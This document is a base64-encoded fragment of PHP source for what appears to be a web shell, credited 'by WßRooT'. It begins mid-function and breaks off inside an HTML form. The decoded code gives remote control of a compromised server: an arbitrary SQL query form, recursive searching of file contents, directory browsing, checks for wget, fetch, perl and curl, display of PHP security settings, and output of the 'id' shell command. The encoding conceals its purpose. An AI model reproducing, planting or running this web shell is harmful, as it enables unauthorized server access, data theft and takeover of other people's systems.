IGZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHR5cGUsJHNvY2spIHsKICAgICAgaWYgKCRzb2Nr
KSB7JGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spO30KICAgICAgZWxzZSB7JGVycm9yID0gbXlz
cWxfZXJyb3IoKTt9CiAgICAgICRlcnJvciA9IGh0bWxzcGVjaWFsY2hhcnMoJGVycm9yKTsKICAg
ICAgcmV0dXJuICRlcnJvcjsKICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3Fs
X3F1ZXJ5X2Zvcm0iKSkgewogICAgZnVuY3Rpb24gbXlzcWxfcXVlcnlfZm9ybSgpIHsKICAgICAg
Z2xvYmFsICRzdWJtaXQsJHNxbF94LCRzcWxfcXVlcnksJHNxbF9xdWVyeV9yZXN1bHQsJHNxbF9j
b25maXJtLCRzcWxfcXVlcnlfZXJyb3IsJHRibF9zdHJ1Y3Q7CiAgICAgIGlmICgoJHN1Ym1pdCkg
YW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9x
dWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8g
IjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQogICAgICBpZiAo
JHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF94ID0gJHNxbF9nb3Rv
O30KICAgICAgaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfeCkpIHsKICAgICAgICBlY2hvICI8dGFi
bGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiY2Fwcml2OF9zcWxxdWVyeVwiIG1ldGhv
ZD1QT1NUPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5
b3UgcmVhbGx5IHdhbnQgdG8iO30gZWxzZSB7ZWNobyAiU1FMLVF1ZXJ5Ijt9IGVjaG8gIjo8L2I+
PGJyPjxicj48dGV4dGFyZWEgbmFtZT1zcWxfcXVlcnkgY29scz0xMDAgcm93cz0xMD4iLmh0bWxz
cGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1o
aWRkZW4gbmFtZT14IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfeCB2YWx1
ZT1xdWVyeT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfdGJsIHZhbHVlPVwiIi5odG1sc3Bl
Y2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3VibWl0IHZh
bHVlPVwiMVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIu
aHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1z
cWxfY29uZmlybSB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJOb1wi
PjwvZm9ybT48L3RkPiI7CiAgICAgICAgaWYgKCR0Ymxfc3RydWN0KSB7CiAgICAgICAgICBlY2hv
ICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsKICAgICAgICAgIGZvcmVh
Y2ggKCR0Ymxfc3RydWN0IGFzICRmaWVsZCkgeyRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOyBlY2hv
ICIrIDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LmNhcHJpdjhfc3FscXVlcnkuc3Fs
X3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7
fQogICAgICAgICAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsKICAgICAgICB9CiAgICAgIH0K
ICAgICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVl
cnkgPSAkc3FsX2xhc3RfcXVlcnk7fQogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygi
bXlzcWxfY3JlYXRlX2RiIikpIHsKICAgIGZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNv
Y2s9IiIpIHsKICAgICAgJHNxbCA9ICJDUkVBVEUgREFUQUJBU0UgYCIuYWRkc2xhc2hlcygkZGIp
LiJgOyI7CiAgICAgIGlmICgkc29jaykge3JldHVybiBteXNxbF9xdWVyeSgkc3FsLCRzb2NrKTt9
CiAgICAgIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9CiAgICB9CiAgfQogIGlmICgh
ZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9wYXJzZSIpKSB7CiAgICBmdW5jdGlvbiBteXNx
bF9xdWVyeV9wYXJzZSgkcXVlcnkpIHsKICAgICAgJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOwogICAg
ICAkYXJyID0gZXhwbG9kZSAoIiAiLCRxdWVyeSk7CiAgICAgICR0eXBlcyA9IGFycmF5KAogICAg
ICAgICJTRUxFQ1QiPT5hcnJheSgzLDEpLAogICAgICAgICJTSE9XIj0+YXJyYXkoMiwxKSwKICAg
ICAgICAiREVMRVRFIj0+YXJyYXkoMSksCiAgICAgICAgIkRST1AiPT5hcnJheSgxKQogICAgICAp
OwogICAgICAkcmVzdWx0ID0gYXJyYXkoKTsKICAgICAgJG9wID0gc3RydG91cHBlcigkYXJyWzBd
KTsKICAgICAgaWYgKGlzX2FycmF5KCR0eXBlc1skb3BdKSkgewogICAgICAgICRyZXN1bHRbInBy
b3BlcnRpb25zIl0gPSAkdHlwZXNbJG9wXTsKICAgICAgICAkcmVzdWx0WyJxdWVyeSJdICA9ICRx
dWVyeTsKICAgICAgICBpZiAoJHR5cGVzWyRvcF0gPT0gMikgewogICAgICAgICAgZm9yZWFjaCgk
YXJyIGFzICRrPT4kdikgewogICAgICAgICAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlU
IikgewogICAgICAgICAgICAgICRyZXN1bHRbImxpbWl0Il0gPSAkYXJyWyRrKzFdOwogICAgICAg
ICAgICAgICRyZXN1bHRbImxpbWl0Il0gPSBleHBsb2RlKCIsIiwkcmVzdWx0WyJsaW1pdCJdKTsK
ICAgICAgICAgICAgICBpZiAoY291bnQoJHJlc3VsdFsibGltaXQiXSkgPT0gMSkgeyRyZXN1bHRb
ImxpbWl0Il0gPSBhcnJheSgwLCRyZXN1bHRbImxpbWl0Il1bMF0pO30KICAgICAgICAgICAgICB1
bnNldCgkYXJyWyRrXSwkYXJyWyRrKzFdKTsKICAgICAgICAgICAgfQogICAgICAgICAgfQogICAg
ICAgIH0KICAgICAgfQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQogICAgfQogIH0KICBpZiAo
IWZ1bmN0aW9uX2V4aXN0cygiY2Fmc2VhcmNoIikpIHsKICAgIGZ1bmN0aW9uIGNhZnNlYXJjaCgk
ZCkgewogICAgICBnbG9iYWwgJGZvdW5kOwogICAgICBnbG9iYWwgJGZvdW5kX2Q7CiAgICAgIGds
b2JhbCAkZm91bmRfZjsKICAgICAgZ2xvYmFsICRzZWFyY2hfaV9mOwogICAgICBnbG9iYWwgJHNl
YXJjaF9pX2Q7CiAgICAgIGdsb2JhbCAkYTsKICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElS
RUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogICAgICAkaCA9
IG9wZW5kaXIoJGQpOwogICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkg
ewogICAgICAgIGlmKCRmICE9ICIuIiAmJiAkZiAhPSAiLi4iKSB7CiAgICAgICAgICAkYm9vbCA9
IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0g
RkFMU0UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7CiAg
ICAgICAgICBpZiAoaXNfZGlyKCRkLiRmKSkgewogICAgICAgICAgICAkc2VhcmNoX2lfZCsrOwog
ICAgICAgICAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAk
ZC4kZjsgJGZvdW5kX2QrKzt9CiAgICAgICAgICAgIGlmICghaXNfbGluaygkZC4kZikpIHtjYWZz
ZWFyY2goJGQuJGYpO30KICAgICAgICAgIH0KICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAk
c2VhcmNoX2lfZisrOwogICAgICAgICAgICBpZiAoJGJvb2wpIHsKICAgICAgICAgICAgICBpZiAo
IWVtcHR5KCRhWyJ0ZXh0Il0pKSB7CiAgICAgICAgICAgICAgICAkciA9IEBmaWxlX2dldF9jb250
ZW50cygkZC4kZik7CiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfd3dvIl0pIHskYVsidGV4
dCJdID0gIiAiLnRyaW0oJGFbInRleHQiXSkuIiAiO30KICAgICAgICAgICAgICAgIGlmICghJGFb
InRleHRfY3MiXSkgeyRhWyJ0ZXh0Il0gPSBzdHJ0b2xvd2VyKCRhWyJ0ZXh0Il0pOyAkciA9IHN0
cnRvbG93ZXIoJHIpO30KICAgICAgICAgICAgICAgIGlmICgkYVsidGV4dF9yZWdleHAiXSkgeyRi
b29sID0gZXJlZygkYVsidGV4dCJdLCRyKTt9CiAgICAgICAgICAgICAgICBlbHNlIHskYm9vbCA9
IHN0cnBvcygiICIuJHIsJGFbInRleHQiXSwxKTt9CiAgICAgICAgICAgICAgICBpZiAoJGFbInRl
eHRfbm90Il0pIHskYm9vbCA9ICEkYm9vbDt9CiAgICAgICAgICAgICAgICBpZiAoJGJvb2wpIHsk
Zm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZisrO30KICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9CiAgICAgICAgICAgIH0KICAg
ICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KICAgICAgY2xvc2VkaXIoJGgpOwogICAgfQogIH0K
ICBpZiAoJHggPT0gImdvZmlsZSIpIHsKICAgIGlmIChpc19kaXIoJGYpKSB7ICR4ID0gImxzIjsg
JGQgPSAkZjsgfQogICAgZWxzZSB7ICR4ID0gImYiOyAkZCA9IGRpcm5hbWUoJGYpOyAkZiA9IGJh
c2VuYW1lKCRmKTsgfQogIH0KICBAb2Jfc3RhcnQoKTsKICBAb2JfaW1wbGljaXRfZmx1c2goMCk7
CiAgZnVuY3Rpb24gb25waHBzaHV0ZG93bigpIHsKICAgIGdsb2JhbCAkZ3ppcGVuY29kZSwkZnQ7
CiAgICBpZiAoIWhlYWRlcnNfc2VudCgpIGFuZCAkZ3ppcGVuY29kZSBhbmQgIWluX2FycmF5KCRm
dCxhcnJheSgiaW1nIiwiZG93bmxvYWQiLCJub3RlcGFkIikpKSB7CiAgICAgICR2ID0gQG9iX2dl
dF9jb250ZW50cygpOwogICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICAgIEBvYl9zdGFydCgib2Jf
Z3pIYW5kbGVyIik7CiAgICAgIGVjaG8gJHY7CiAgICAgIEBvYl9lbmRfZmx1c2goKTsKICAgIH0K
ICB9CiAgZnVuY3Rpb24gY2Fwcml2OGV4aXQoKSB7CiAgICBvbnBocHNodXRkb3duKCk7CiAgICBl
eGl0OwogIH0KICBoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01U
Iik7CiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmdtZGF0ZSgiRCwgZCBNIFkgSDppOnMiKS4i
IEdNVCIpOwogIGhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0
LXJldmFsaWRhdGUiKTsKICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgcHJl
LWNoZWNrPTAiLCBGQUxTRSk7CiAgaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7CiAgaWYgKGVt
cHR5KCR0bXBkaXIpKSB7CiAgICAkdG1wZGlyID0gaW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKTsK
ICAgIGlmIChpc19kaXIoJHRtcGRpcikpIHskdG1wZGlyID0gIi90bXAvIjt9CiAgfQogICR0bXBk
aXIgPSByZWFscGF0aCgkdG1wZGlyKTsKICAkdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJF
Q1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOwogIGlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElS
RUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgaWYg
KGVtcHR5KCR0bXBkaXJfbG9ncykpIHskdG1wZGlyX2xvZ3MgPSAkdG1wZGlyO30KICBlbHNlIHsk
dG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xvZ3MpO30KICBmdW5jdGlvbiBzaG93c3Rh
dCgkc3RhdCkgewogICAgaWYgKCRzdGF0PT0ib24iKSB7IHJldHVybiAiPGZvbnQgY29sb3I9IzAw
RkYwMD48Yj5PTjwvYj48L2ZvbnQ+IjsgfQogICAgZWxzZSB7IHJldHVybiAiPGZvbnQgY29sb3I9
I0ZGOTkwMD48Yj5PRkY8L2I+PC9mb250PiI7IH0KICB9CiAgZnVuY3Rpb24gdGVzdHBlcmwoKSB7
CiAgICBpZiAoZXgoJ3BlcmwgLWgnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0KICAgIGVs
c2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9CiAgfQogIGZ1bmN0aW9uIHRlc3RmZXRjaCgp
IHsKICAgIGlmKGV4KCdmZXRjaCAtLWhlbHAnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0K
ICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9CiAgfQogIGZ1bmN0aW9uIHRlc3R3
Z2V0KCkgewogICAgaWYgKGV4KCd3Z2V0IC0taGVscCcpKSB7IHJldHVybiBzaG93c3RhdCgib24i
KTsgfQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0KICB9CiAgZnVuY3Rpb24g
dGVzdG9yYWNsZSgpIHsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHsgcmV0
dXJuIHNob3dzdGF0KCJvbiIpOyB9CiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsg
fQogIH0KICBmdW5jdGlvbiB0ZXN0cG9zdGdyZXNxbCgpIHsKICAgIGlmIChmdW5jdGlvbl9leGlz
dHMoJ3BnX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0KICAgIGVsc2UgeyBy
ZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9CiAgfQogIGZ1bmN0aW9uIHRlc3Rtc3NxbCgpIHsKICAg
IGlmIChmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQo
Im9uIik7IH0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9CiAgfQogIGZ1bmN0
aW9uIHRlc3RjdXJsKCkgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykp
IHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9CiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJv
ZmYiKTsgfQogIH0KICBmdW5jdGlvbiB0ZXN0bXlzcWwoKSB7CiAgICBpZiAoZnVuY3Rpb25fZXhp
c3RzKCdteXNxbF9jb25uZWN0JykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9CiAgICBlbHNl
IHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQogIH0KICBmdW5jdGlvbiBzaG93ZGlzYWJsZWZ1
bmN0aW9ucygpIHsKICAgIGlmICgkZGlzYWJsZWZ1bmM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rp
b25zIikpeyByZXR1cm4gIjxmb250IGNvbG9yPSNGRjk5MDA+PGI+Ii4kZGlzYWJsZWZ1bmMuIjwv
Yj48L2ZvbnQ+IjsgfQogICAgZWxzZSB7IHJldHVybiAiPGZvbnQgY29sb3I9IzAwRkYwMD48Yj5O
T05FPC9iPjwvYj48L2ZvbnQ+IjsgfQogIH0KICBpZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9y
IHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKSB7CiAgICAkc2FmZW1v
ZGUgPSBUUlVFOwogICAgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj0jMzM2NkZGPjxiPlNBRkUg
TU9ERSBpcyBPTiAoU2VjdXJlKTwvYj48L2ZvbnQ+IjsKICB9CiAgZWxzZSB7CiAgICAkc2FmZW1v
ZGUgPSBGQUxTRTsKICAgICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9I0ZGOTkwMD48Yj5TQUZF
IE1PREUgaXMgT0ZGIChOb3QgU2VjdXJlKTwvYj48L2ZvbnQ+IjsKICB9CiAgJHYgPSBAaW5pX2dl
dCgib3Blbl9iYXNlZGlyIik7CiAgaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHsK
ICAgICRvcGVuYmFzZWRpciA9IFRSVUU7CiAgICAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9y
PXJlZD4iLiR2LiI8L2ZvbnQ+IjsKICB9CiAgZWxzZSB7CiAgICAkb3BlbmJhc2VkaXIgPSBGQUxT
RTsKICAgICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJl
KTwvZm9udD4iOwogIH0KICAkc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOwogIGlmIChl
bXB0eSgkc29ydCkpIHskc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQogICRzb3J0WzFdID0gc3RydG9s
b3dlcigkc29ydFsxXSk7CiAgJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCJTRVJWRVJf
U09GVFdBUkUiKTsKICBpZiAoIWVyZWcoIlBIUC8iLnBocHZlcnNpb24oKSwkRElTUF9TRVJWRVJf
U09GVFdBUkUpKSB7JERJU1BfU0VSVkVSX1NPRlRXQVJFIC49ICIuIFBIUC8iLnBocHZlcnNpb24o
KTt9CiAgJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gc3RyX3JlcGxhY2UoIlBIUC8iLnBocHZlcnNp
b24oKSwiPGEgaHJlZj1cIiIuJHN1cmwuIng9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPjxi
Pjx1PlBIUC8iLnBocHZlcnNpb24oKS4iPC91PjwvYj48L2E+IixodG1sc3BlY2lhbGNoYXJzKCRE
SVNQX1NFUlZFUl9TT0ZUV0FSRSkpOwogIEBpbmlfc2V0KCJoaWdobGlnaHQuYmciLCRoaWdobGln
aHRfYmcpOwogIEBpbmlfc2V0KCJoaWdobGlnaHQuY29tbWVudCIsJGhpZ2hsaWdodF9jb21tZW50
KTsKICBAaW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCRoaWdobGlnaHRfZGVmYXVsdCk7CiAg
QGluaV9zZXQoImhpZ2hsaWdodC5odG1sIiwkaGlnaGxpZ2h0X2h0bWwpOwogIEBpbmlfc2V0KCJo
aWdobGlnaHQua2V5d29yZCIsJGhpZ2hsaWdodF9rZXl3b3JkKTsKICBAaW5pX3NldCgiaGlnaGxp
Z2h0LnN0cmluZyIsJGhpZ2hsaWdodF9zdHJpbmcpOwogIGlmICghaXNfYXJyYXkoJGFjdGJveCkp
IHsgJGFjdGJveCA9IGFycmF5KCk7IH0KICAkZHNwYWN0ID0gJHggPSBodG1sc3BlY2lhbGNoYXJz
KCR4KTsKICAkZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOwogICR1ZCA9
IHVybGVuY29kZSgkZCk7CiAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFU
T1IsJGQpOwogIGlmIChlbXB0eSgkZCkpIHskZCA9IHJlYWxwYXRoKCIuIik7fQogIGVsc2VpZihy
ZWFscGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9CiAgJGQgPSBzdHJfcmVwbGFjZSgiXFwi
LERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9S
WV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICAkZCA9IHN0cl9yZXBs
YWNlKCJcXFxcIiwiXFwiLCRkKTsKICAkZGlzcGQgPSBodG1sc3BlY2lhbGNoYXJzKCRkKTsKZWNo
byAkaHRtbF9zdGFydDsKZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXIyPjxoMz4kc2hfbmFtZTwv
aDM+PGZvbnQgY29sb3I9bGltZT5ieSBXo99Sb29UPC9mb250PjwvZGl2PjxociBjb2xvcj1zaWx2
ZXI+XG4iOwplY2hvICI8dGFibGUgaWQ9cGFnZWJhcj48dHI+PHRkIHdpZHRoPTUwJT48cD4iLgog
ICAgICJTb2Z0d2FyZSA6ICIuJERJU1BfU0VSVkVSX1NPRlRXQVJFIC4iIC0gPGEgaHJlZj0iLiRz
dXJsLiJ4PXBocGluaT5waHAuaW5pPC9hPjxicj4iLgogICAgICIkaHNhZmVtb2RlPGJyPiIuCiAg
ICAgIk9TIDogIi5waHBfdW5hbWUoKS4iPGJyPiI7CmlmICghJHdpbikgeyBlY2hvICJVc2VyIElE
IDogIi5teXNoZWxsZXhlYygiaWQiKTsgfQplbHNlIHsgZWNobyAiVXNlciA6ICIgLiBnZXRfY3Vy
cmVudF91c2VyKCk7IH0KZWNobyAiPC9wPjwvdGQ+Ii4KICAgICAiPHRkIHdpZHRoPTUwJT48cD5T
ZXJ2ZXIgSVAgOiA8YSBocmVmPWh0dHA6Ly93aG9pcy5kb21haW50b29scy5jb20vIi5nZXRob3N0
YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJb
IkhUVFBfSE9TVCJdKS4iPC9hPiAtICIuCiAgICAgIllvdXIgSVAgOiA8YSBocmVmPWh0dHA6Ly93
aG9pcy5kb21haW50b29scy5jb20vIi4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPiIuJF9TRVJW
RVJbIlJFTU9URV9BRERSIl0uIjwvYT48YnI+IjsKaWYoJHdpbil7ZWNobyAiRHJpdmVzIDogIi5k
aXNwX2RyaXZlcygkZCwkc3VybCkuIjxicj4iO30KZWNobyAiRnJlZXNwYWNlIDogIi5kaXNwX2Zy
ZWVzcGFjZSgkZCk7CmVjaG8gIjwvcD48L3RkPjwvdHI+IjsKZWNobyAiPHRyPjx0ZCBjb2xzcGFu
PTI+PHA+IjsKZWNobyAiTXlTUUw6ICIudGVzdG15c3FsKCkuIiBNU1NRTDogIi50ZXN0bXNzcWwo
KS4iIE9yYWNsZTogIi50ZXN0b3JhY2xlKCkuIiBNU1NRTDogIi50ZXN0bXNzcWwoKS4iIFBvc3Rn
cmVTUUw6ICIudGVzdHBvc3RncmVzcWwoKS4KICAgICAiIGNVUkw6ICIudGVzdGN1cmwoKS4iIFdH
ZXQ6ICIudGVzdHdnZXQoKS4iIEZldGNoOiAiLnRlc3RmZXRjaCgpLiIgUGVybDogIi50ZXN0cGVy
bCgpLiI8YnI+IjsKZWNobyAiRGlzYWJsZWQgRnVuY3Rpb25zOiAiLnNob3dkaXNhYmxlZnVuY3Rp
b25zKCk7CmVjaG8gIjwvcD48L3RkPjwvdHI+IjsKZWNobyAiPHRyPjx0ZCBjb2xzcGFuPTIgaWQ9
bWFpbm1lbnU+IjsKaWYgKGNvdW50KCRxdWlja2xhdW5jaDIpID4gMCkgewogIGZvcmVhY2goJHF1
aWNrbGF1bmNoMiBhcyAkaXRlbSkgewogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVy
bGVuY29kZSgkZCksJGl0ZW1bMV0pOwogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQi
LCRzb3J0LCRpdGVtWzFdKTsKICAgICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7CiAgICBpZiAoZW1w
dHkoJHYpKSB7CiAgICAgICRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKICAg
ICAgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsKICAgICAgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBB
UkFUT1IsJGEpOwogICAgfQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5j
b2RlKCR2KSwkaXRlbVsxXSk7CiAgICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4k
aXRlbVswXS4iPC9hPlxuIjsKICB9Cn0KZWNobyAiPC90ZD48dHI+PHRkIGNvbHNwYW49MiBpZD1t
YWlubWVudT4iOwppZiAoY291bnQoJHF1aWNrbGF1bmNoMSkgPiAwKSB7CiAgZm9yZWFjaCgkcXVp
Y2tsYXVuY2gxIGFzICRpdGVtKSB7CiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJs
ZW5jb2RlKCRkKSwkaXRlbVsxXSk7CiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIs
JHNvcnQsJGl0ZW1bMV0pOwogICAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsKICAgIGlmIChlbXB0
eSgkdikpIHsKICAgICAgJGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogICAg
ICB1bnNldCgkYVtjb3VudCgkYSktMl0pOwogICAgICAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFS
QVRPUiwkYSk7CiAgICB9CiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNv
ZGUoJHYpLCRpdGVtWzFdKTsKICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRp
dGVtWzBdLiI8L2E+XG4iOwogIH0KfQplY2hvICI8L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPTI+
IjsKZWNobyAiPHAgY2xhc3M9ZmxlZnQ+IjsKJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9T
RVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsKJGkgPSAwOwpmb3JlYWNoKCRwZCBhcyAkYikgewog
ICR0ID0gIiI7ICRqID0gMDsKICBmb3JlYWNoICgkZSBhcyAkcikgewogICAgJHQuPSAkci5ESVJF
Q1RPUllfU0VQQVJBVE9SOwogICAgaWYgKCRqID09ICRpKSB7IGJyZWFrOyB9CiAgICAkaisrOwog
IH0KICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCR0KS4iJnNv
cnQ9Ii4kc29ydC4iXCI+PGZvbnQgY29sb3I9cmVkPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElS
RUNUT1JZX1NFUEFSQVRPUi4iPC9mb250PjwvYT4iOwogICRpKys7Cn0KZWNobyAiIC0gIjsKaWYg
KGlzX3dyaXRhYmxlKCRkKSkgewogICR3ZCA9IFRSVUU7CiAgJHdkdCA9ICI8Zm9udCBjb2xvcj0j
MDBGRjAwPltPS108L2ZvbnQ+IjsKICBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdf
cGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD48L2I+IjsKfQplbHNlIHsKICAkd2QgPSBGQUxT
RTsKICAkd2R0ID0gIjxmb250IGNvbG9yPXJlZD5bUmVhZC1Pbmx5XTwvZm9udD4iOwogIGVjaG8g
IjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj4iOwp9Cj8+CjwvcD4KPGRpdiBjbGFzcz1m
cmlnaHQ+Cjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZh
bHVlPSJscyI+CkRpcmVjdG9yeTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImQiIHNpemU9IjUw
